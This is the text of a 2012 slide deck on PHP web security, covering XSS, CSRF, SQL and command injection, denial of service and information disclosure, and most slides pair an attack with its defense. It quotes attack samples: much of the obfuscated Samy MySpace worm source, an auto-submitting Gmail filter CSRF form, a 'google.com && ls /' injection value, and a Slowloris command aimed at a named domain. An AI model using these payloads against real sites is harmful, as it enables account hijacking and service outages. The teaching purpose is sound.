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Stop Exposing Yourself: Exploits, Attacks and Defenses

Stop Exposing Yourself: Exploits, Attacks and Defenses

A talk about security issues and exploits in the web with a focus on PHP. We will cover common exploits and how to defense yourself from them.

Geoffrey Tran

July 03, 2012
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  1. About Me •  Creative Technologist at RAPP •  Fun with

    PHP since 2005 •  Contributor to Zend Framework and Symfony2 Download Examples: http://rapp.io/1y 2
  2. Why even bother? “Information leakage is one of the biggest

    issues that organizations are facing” Download Examples: http://rapp.io/1y 3
  3. Why even bother? “93% of organizations have been hacked at

    least once in the past two years through insecure Web applications” State of Web Application Security, Ponemon Institute Download Examples: http://rapp.io/1y 4
  4. Why even bother? “74% of respondents believe Web applications security

    is either more critical or equally critical to other security issues faced by their organizations” Download Examples: http://rapp.io/1y State of Web Application Security, Ponemon Institute 5
  5. Why even bother? “12% strongly agree that they have ample

    resources to detect and remediate insecure Web apps” State of Web Application Security, Ponemon Institute Download Examples: http://rapp.io/1y 6
  6. Why even bother? “64% do not agree that their organization

    is able to fix Web application vulnerabilities quickly” State of Web Application Security, Ponemon Institute Download Examples: http://rapp.io/1y 7
  7. Why even bother? “88% of respondents say their Web application

    security budget is less than the organization’s coffee budget” State of Web Application Security, Ponemon Institute Download Examples: http://bit.ly/NcGSod 8
  8. OWASP Top 10 Application Security Risks - 2010 1.  Injection

    Attacks 2.  Cross Site Scripting (XSS) 3.  Authentication and Session Management 4.  Unauthorized access/Privilege escalation 5.  Cross Site Request Forgery (CSRF) 6.  Misconfiguration 7.  Insecure Storage 8.  Failure to restrict URL access 9.  Insufficient transport layer protection 10. Un-validated redirects and forwards https://www.owasp.org/index.php/Top_10_2010-Main 9
  9. Overview •  Cross-site scripting (XSS) •  Cross-site request forgery (CSRF)

    •  SQL Injection •  Command Injection •  Remote Code Execution •  Denial of Service •  Unnecessary Information Disclosure 10
  10. Cross-site scripting (XSS) •  Occurs when – Data enters an application

    through an untrusted source, most frequently a web request – The data is included in dynamic content that is sent to a web user without being validated for malicious code https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 11
  11. Cross-site scripting (XSS) •  Types of XSS Attacks – Stored XSS

    Attacks (Persistent) •  When injected code is stored and unknowingly retrieved by victims – Reflected XSS Attacks (Non-Persistent) •  When injected code is reflected off the application via an un-escaped field https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 12
  12. Cross-site scripting (XSS) •  What can an attacker do with

    an XSS vulnerability? – Launch a phishing attack – Steal session and cookie data to log in as the victim – Perform unwanted actions as the victim https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 13
  13. Cross-site scripting (XSS) •  Imagine you have a search results

    page •  You display the query a user inputs in the search field – “You searched for: dogs” Example: lonestar12/XSS/reflected.php <form method="get"> <input type="text" name="q" /> <input type="submit" value="Search" /> </form> <h2>You searched for: "<?php echo $_GET['q'] ?>"</h2> 15
  14. Cross-site scripting (XSS) •  But what happens if a user

    enters the following as a query? Example: lonestar12/XSS/reflected.php <script>alert('Hi')</script> <form method="get"> <input type="text" name="q" /> <input type="submit" value="Search" /> </form> <h2>You searched for: "<?php echo $_GET['q'] ?>"</h2> 16
  15. Cross-site scripting (XSS) We end up with the following output:

    Example: lonestar12/XSS/reflected.php <form method="get"> <input type="text" name="q" /> <input type="submit" value="Search" /> </form> <h2>Showing results for: "<script>alert('hi')</script>"</h2> <form method="get"> <input type="text" name="q" /> <input type="submit" value="Search" /> </form> <h2>You searched for: "<?php echo $_GET['q'] ?>"</h2> 18
  16. CROSS-SITE SCRIPTING (XSS) MySpace “Samy is my hero” Example http://namb.la/popular/

    http://www.slideshare.net/simon/when-ajax-attacks-web-application-security-fundamentals-presentation 20
  17. Cross-site scripting (XSS) <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var

    A=String.fromCharCode (39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else {return eval('document.body.inne'+'rHTML')}}function getData(AU) {M=getFromURL(AU,'friendID');L=getFromURL (AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split ('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') {document.location='http://www.myspace.com'+location.pathname+location.search}else{if(! M){getData(g())}main()} function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)} function nothing(){}function paramsToString(AV) {var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O+ +}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false} eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST') {J.setRequestHeader('Content-Type','application/x-www-form- urlencoded');J.setRequestHeader('Content- Length',BK.length)}J.send(BK);return true} function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R +1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn (BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG +'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring (0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e) {Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')} catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace ('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState! =4){return}var AU=J.responseText;AG=findIn (AU,'P'+'rofileHeroes','</ 21
  18. Cross-site scripting (XSS) October 4th, 2005 12:34 pm: You have

    73 friends. I decided to release my little popularity program. I'm going to be famous...among my friends. 1:30 am: You have 73 friends and 1 friend request. One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning. 8:35 am: You have 74 friends and 221 friend requests. Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah. 9:30 am: You have 74 friends and 480 friend requests. Oh wait, it's exponential, isn't it. Shit. 22
  19. Cross-site scripting (XSS) In 20 hours, “Samy is my hero”

    spread to 1,005,831 people ...1/35th of all MySpace users 23
  20. Preventing Cross-site scripting (XSS) •  $_GET •  $_POST •  $_COOKIE

    •  $_REQUEST •  $_FILES •  $_ENV •  $_SERVER 25 https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) These all can be manipulated by the user Don’t trust anyone …Not even little girls
  21. Preventing Cross-site scripting (XSS) •  Always user validate input – filter_var

    •  Escape or filter all outputs – htmlspecialchars() – htmlentities() – strip_tags() •  Beware with tag allowances as attributes are not validated 26
  22. Cross-site Request Forgery (CSRF) •  Occurs when victims load a

    page that contains a malicious request •  Malicious because the request inherits the identity and privileges of the victim forcing an undesired action on the victim’s behalf. – Posting a tweet – Purchasing a product http://en.wikipedia.org/wiki/Cross-site_request_forgery 27
  23. Cross-site Request Forgery (CSRF) •  An attacker creates a seemingly

    harmless looking webpage •  A visitor lands on the page while logged in to their bank's website, which has a CSRF vulnerability •  The malicious page creates a request on behalf of the visitor to transfer funds without permission <img src="http://bank.com/transferFunds?amount=5000&to=Geoff's Bank Account" width="0" height="0" /> Example: lonestar12/CSRF/img.html 29
  24. Cross-site Request Forgery (CSRF) <form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> <input type="hidden"

    name="cf2_emc" value="true"/> <input type="hidden" name="cf2_email" value="[email protected]"/> <input type="hidden" name="cf1_from" value=""/> <input type="hidden" name="cf1_to" value=""/> <input type="hidden" name="cf1_subj" value=""/> <input type="hidden" name="cf1_has" value=""/> <input type="hidden" name="cf1_hasnot" value=""/> <input type="hidden" name="cf1_attach" value="true"/> <input type="hidden" name="tfi" value=""/> <input type="hidden" name="s" value="z"/> <input type="hidden" name="irf" value="on"/> <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> document.forms[0].submit(); </script> 33
  25. Preventing CSRF •  Require POST for actions that modify data

    •  Require a token or “crumb” for all sensitive forms 35
  26. Preventing CSRF 36 <?php if (!isset($_SESSION['csrfToken'])) { $_SESSION['csrfToken'] = md5(uniqid("",

    true)); } if ($_SERVER['REQUEST_METHOD'] == 'POST') { if ($_POST['csrf_token'] == $_SESSION['csrfToken']) { // SUCCESS } else { // FAILURE header('HTTP/1.0 403 Forbidden'); exit; } } ?> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrfToken'] ?>" /> <input type="text" name="amount" value=""/> <input type="text" name="to" value=""/> <input type="submit" value="Transfer Funds" /> </form>
  27. Preventing CSRF (crossdomain.xml) •  Do not use the following as

    your crossdomain.xml •  Putting this at example.com/crossdomain.xml allows Flash applets on other sites make requests to your site on behalf of the user 37 <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
  28. SQL Injection •  Occurs when attackers inject un- escaped SQL

    commands into a predefined SQL query http://xkcd.com/327/ 38
  29. SQL Injection •  Beware of un-escaped user input •  Use

    prepared statements or proper quoting instead 40 $pdo->exec('INSERT INTO `comments` (`body`) VALUES ("' . $_POST['body'] . '")'); $stmt = $pdo->prepare('INSERT INTO `comments` (`body`) VALUES (:body)'); $stmt->bindParam(':body', $_POST['body']); $stmt->execute();
  30. SQL INJECTION MySQL.com Website Falls Victim to SQL Injection Attack

    http://www.pcworld.com/businesscenter/article/223457/mysql_website_falls_victim_to_sql_injection_attack.html 41 http://pastebin.com/BayvYdcP
  31. Command Injection •  Occurs when an attacker is able to

    inject system commands •  Command injection attacks are possible in most cases because of lack of correct input data validation 42
  32. Command Injection 44 •  A simple nslookup page <?php $host

    = 'google'; if (isset($_GET['host'])) { $host = $_GET['host']; } system("nslookup " . $host); ?> <form method="get"> <select name="host"> <option value="google.com">google</option> <option value="yahoo.com">yahoo</option> </select> <input type="submit"> </form>
  33. Command Injection 45 •  What if $_GET[‘host’] contained – google.com &&

    ls / Example: lonestar12/Command Injection/example.php <?php $host = 'google'; if (isset($_GET['host'])) { $host = $_GET['host']; } system("nslookup " . $host); ?> <form method="get"> <select name="host"> <option value="google.com">google</option> <option value="yahoo.com">yahoo</option> </select> <input type="submit">
  34. Preventing Command Injection 47 •  Escape shell commands – escapeshellarg() – escapeshellcmd()

    <?php // We allow arbitrary number of arguments intentionally here. $command = './configure '.$_POST['configure_options']; $command = escapeshellcmd($command); system($command); <?php system('ls '.escapeshellarg($dir));
  35. Denial of Service (DoS) •  A DoS attack focuses on

    making a service unavailable or degraded to users 52
  36. Methods of DoS Attacks •  ICMP flood •  SYN flood

    •  Teardrop attacks •  Low-rate attacks •  Peer-to-peer attacks •  Asymmetry of resource utilization in starvation •  Permanent DoS attacks •  Application-level floods •  Nuke •  R-U-Dead-Yet? •  Distributed attacks •  Reflected / Spoofed attacks •  Degradation-of- service attacks •  Unintentional DoS 53
  37. DENIAL OF SERVICE (DOS) Slowloris Denial of Service Example Example:

    lonestar12/Denial of Service/slowloris.php 54
  38. Slowloris Denial of Service (DoS) •  Slowloris Attack –  Tries

    to keep many connections to the target web server open and hold them open as long as possible. –  It accomplishes this by opening connections to the target web server and sending a partial request. –  Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request. –  Affected servers will keep these connections open, filling their maximum concurrent connection pool, eventually denying additional connection attempts from clients 55 Example: lonestar12/Denial of Service/slowloris.php
  39. Denial of Service (DoS) •  Slowloris affects the following webservers

    –  Apache 1.x, Apache 2.x, dhttpd, and the GoAhead WebServer 56 Example: lonestar12/Denial of Service/slowloris.php # php slowloris.php get 100000 jakefolio.com
  40. Preventing Denial of Service (DoS) Attacks •  Apache – mod_security, mod_evasive,

    mod_qos, mod_antiloris •  Look into proper firewalls and intrusion detection systems 57 Example: lonestar12/Denial of Service/slowloris.php
  41. Unnecessary Information Disclosure – Reduce your attack surface •  PHP displaying

    errors/exceptions •  Exposing php information •  Exposing Apache information •  Exposing Server information 59
  42. Unnecessary Information Disclosure Reduce your attackable surfaces 60 Hide displaying

    of errors and exceptions ; php.ini display_errors = Off OR ini_set(‘display_errors’, false);
  43. Unnecessary Information Disclosure Reduce your attackable surfaces 61 Hide exposure

    of PHP ; php.ini expose_php = Off HTTP/1.1 200 OK Date: Fri, 29 Jun 2012 17:02:54 GMT Server: Apache/2.2.16 (Ubuntu) X-Powered-By: PHP/5.3.3-1ubuntu9.6 Vary: Accept-Encoding Content-Type: text/html
  44. Unnecessary Information Disclosure Reduce your attackable surfaces 62 Hide exposure

    of Apache # Debian # /etc/apache2/apache2.conf ServerTokens prod HTTP/1.1 200 OK Date: Fri, 29 Jun 2012 17:02:54 GMT Server: Apache/2.2.16 (Ubuntu) Vary: Accept-Encoding Content-Type: text/html
  45. Unnecessary Information Disclosure Reduce your attackable surfaces 63 Don’t expose

    your database, search server, memcache, mail server, etc... Configure your firewall